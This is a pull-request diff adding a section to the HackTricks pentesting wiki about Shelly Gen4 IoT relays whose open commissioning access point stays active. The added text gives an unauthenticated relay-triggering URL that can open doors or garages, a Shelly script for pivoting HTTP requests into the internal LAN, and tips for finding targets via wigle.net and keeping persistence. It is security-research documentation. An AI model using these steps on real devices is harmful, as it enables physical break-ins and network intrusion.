Merge pull request #1884 from HackTricks-wiki/update_Shelly_IoT_door_controller_config_fail__leaving_yo_20260211_190152

Shelly IoT door controller config fail leaving your garage, ...

Author: carlospolop

src/generic-methodologies-and-resources/pentesting-wifi/README.md

@@ -911,8 +911,30 @@ These methods, particularly PIN entry, are susceptible to the same vulnerabiliti
 
 **EvilDirect Hijacking** is an attack specific to Wi-Fi Direct. It mirrors the concept of an Evil Twin attack but targets Wi-Fi Direct connections. In this scenario, an attacker impersonates a legitimate group owner with the aim of deceiving devices into connecting to a malicious entity. This method can be executed using tools like `airbase-ng` by specifying the channel, ESSID, and MAC address of the impersonated device:
 
+## Commissioning AP persistence & dual-homed IoT pivoting (Shelly Gen4 case)
+
+Some consumer IoT relays/controllers keep the commissioning **open AP** active after joining the IoT WLAN (e.g., Shelly Gen4 SSIDs starting with `Shelly`). The device stays **dual-homed**: an AP interface with default IP `192.168.33.1` plus a client interface on the internal WLAN.
+
+**Abuse flow (Wi‑Fi proximity required):**
+
+1. Join the provisioning AP, obtain a DHCP lease, and browse the **AP-side HTTP API**.
+2. Trigger relays via unauthenticated endpoints, e.g. `http://192.168.33.1/relay/0?turn=on` (door/gate/garage impact). Firmware upload endpoints can add persistence.
+3. Use it as a **pivot**: Shelly scripting can send HTTP from the internal interface to other LAN hosts. Example pivot to another Shelly at `10.0.98.221`:
+   ```javascript
+   Shelly.addEventHandler(function (event) {
+       if (event.component === "switch:0" && event.info.state) {
+           Shelly.call("HTTP.GET", { url: "http://10.0.98.221/light/0?turn=on" });
+       }
+   });
+   ```
+   Swap the URL for any reachable internal HTTP target; dual-homing avoids extra routing/NAT work.
+4. At-scale: query vendor SSIDs on **wigle.net** (e.g., `Shelly`) to locate commissioning APs for on-site exploitation.
+
+For persistence, leave the commissioning AP enabled.
+
 ## References
 
+- [https://www.pentestpartners.com/security-blog/shelly-iot-door-controller-config-fail-leaving-your-garage-home-and-security-exposed/](https://www.pentestpartners.com/security-blog/shelly-iot-door-controller-config-fail-leaving-your-garage-home-and-security-exposed/)
 - [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
 - [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
 - [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)